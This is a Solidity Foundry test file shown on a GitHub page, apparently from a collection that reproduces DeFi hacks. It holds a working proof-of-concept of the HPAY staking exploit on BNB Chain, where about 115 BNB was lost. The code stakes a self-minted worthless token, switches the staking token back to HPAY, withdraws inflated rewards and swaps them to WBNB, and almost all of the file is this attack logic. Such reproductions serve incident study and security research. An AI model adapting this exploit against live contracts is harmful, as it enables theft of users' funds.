-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
HPAY_exp.sol
149 lines (126 loc) · 5.42 KB
/
HPAY_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo - Total Lost : ~115 BNB
// Attacker : 0xaB74FBd735Cd2ED826b64e0F850a890930A91094
// Attack Contracts :
// - https://www.bscscan.com/address/0xe3eA6e35A6F88DB9d342352B056139803A94b586
// - https://www.bscscan.com/address/0x10FC0476a67c84D8b8ddb143a0fE9eE207b71d2C
// Vulnerable Contract : https://www.bscscan.com/address/0xe9bc03ef08e991a99f1bd095a8590499931dcc30
// Attack Txs : https://bscscan.com/txs?a=0xab74fbd735cd2ed826b64e0f850a890930a91094
// @Info
// Vulnerable Contract Code : https://www.bscscan.com/address/0xe9bc03ef08e991a99f1bd095a8590499931dcc30#code#F1#L174
// This PoC is a simplification of the actual attack which was performed using multiple transactions.
// They can be seen here: https://bscscan.com/txs?a=0xab74fbd735cd2ed826b64e0f850a890930a91094
// The attacker transferred out 105.98 BNB + 10 BNB from the hack.
// @Analysis
// ACai Article (in Chinese) : https://www.cnblogs.com/ACaiGarden/p/16872933.html
interface IMintableAutoCompundRelockBonus {
function setToken(
address
) external;
function stake(
uint256
) external;
function withdraw(
uint256
) external;
}
contract ContractTest is Test {
IERC20 constant HPAY_TOKEN = IERC20(0xC75aa1Fa199EaC5adaBC832eA4522Cff6dFd521A);
IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
Uni_Router_V2 constant PS_ROUTER = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
IMintableAutoCompundRelockBonus constant BONUS =
IMintableAutoCompundRelockBonus(0xF8bC1434f3C5a7af0BE18c00C675F7B034a002F0);
function setUp() public {
vm.createSelectFork("bsc", 22_280_853);
// Adding labels to improve stack traces' readability
vm.label(address(HPAY_TOKEN), "HPAY_TOKEN");
vm.label(address(WBNB_TOKEN), "WBNB_TOKEN");
vm.label(address(PS_ROUTER), "PS_ROUTER");
vm.label(address(BONUS), "BONUS");
vm.label(0xE9bc03Ef08E991a99F1bd095a8590499931DcC30, "BONUS_IMPL");
vm.label(0xa0A1E7571F938CC33daD497849F14A0c98B30FD0, "WBNB_HPAY_PAIR");
vm.label(0xc16e351751e63A34F44908b065Fc8Be592D564dE, "HPAY_RewardManager");
vm.label(0xf88daA7723f118EfB4416a0DfD129e005CA9166F, "HPAY_RewardManager_Impl");
vm.label(0x45b10a3C39DE271D8edc23796970acF8832C20ff, "HPAY_Fund");
vm.label(0x346abB57CfB43aD3Bb8210E3DD1dB12353160A0b, "HPAY_FeeManager");
}
function testExploit() external {
emit log_named_decimal_uint(
"[Start] Attacker WBNB balance before exploit", WBNB_TOKEN.balanceOf(address(this)), 18
);
HPAY_TOKEN.approve(address(PS_ROUTER), type(uint256).max);
// Shitcoin token creation
SHITCOIN shitcoin = new SHITCOIN();
shitcoin.mint(100_000_000 * 1e18);
// Configuring shitcoin and staking it
BONUS.setToken(address(shitcoin));
shitcoin.approve(address(BONUS), type(uint256).max);
BONUS.stake(shitcoin.balanceOf(address(this)));
// Change block.number
vm.roll(block.number + 1000);
// Configure HPAY token back again
BONUS.setToken(address(HPAY_TOKEN));
// Withdraw reward token
BONUS.withdraw(30_000_000 * 1e18);
_HPAYToWBNB();
emit log_named_decimal_uint(
"[End] Attacker WBNB balance after exploit", WBNB_TOKEN.balanceOf(address(this)), 18
);
}
/**
* Auxiliary function to swap all HPAY to WBNB
*/
function _HPAYToWBNB() internal {
address[] memory path = new address[](2);
path[0] = address(HPAY_TOKEN);
path[1] = address(WBNB_TOKEN);
PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(
HPAY_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp
);
}
}
contract SHITCOIN {
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "SHIT COIN";
string public symbol = "SHIT";
uint8 public decimals = 18;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address recipient, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
allowance[sender][msg.sender] -= amount;
balanceOf[sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
function mint(
uint256 amount
) external {
balanceOf[msg.sender] += amount;
totalSupply += amount;
emit Transfer(address(0), msg.sender, amount);
}
function burn(
uint256 amount
) external {
balanceOf[msg.sender] -= amount;
totalSupply -= amount;
emit Transfer(msg.sender, address(0), amount);
}
}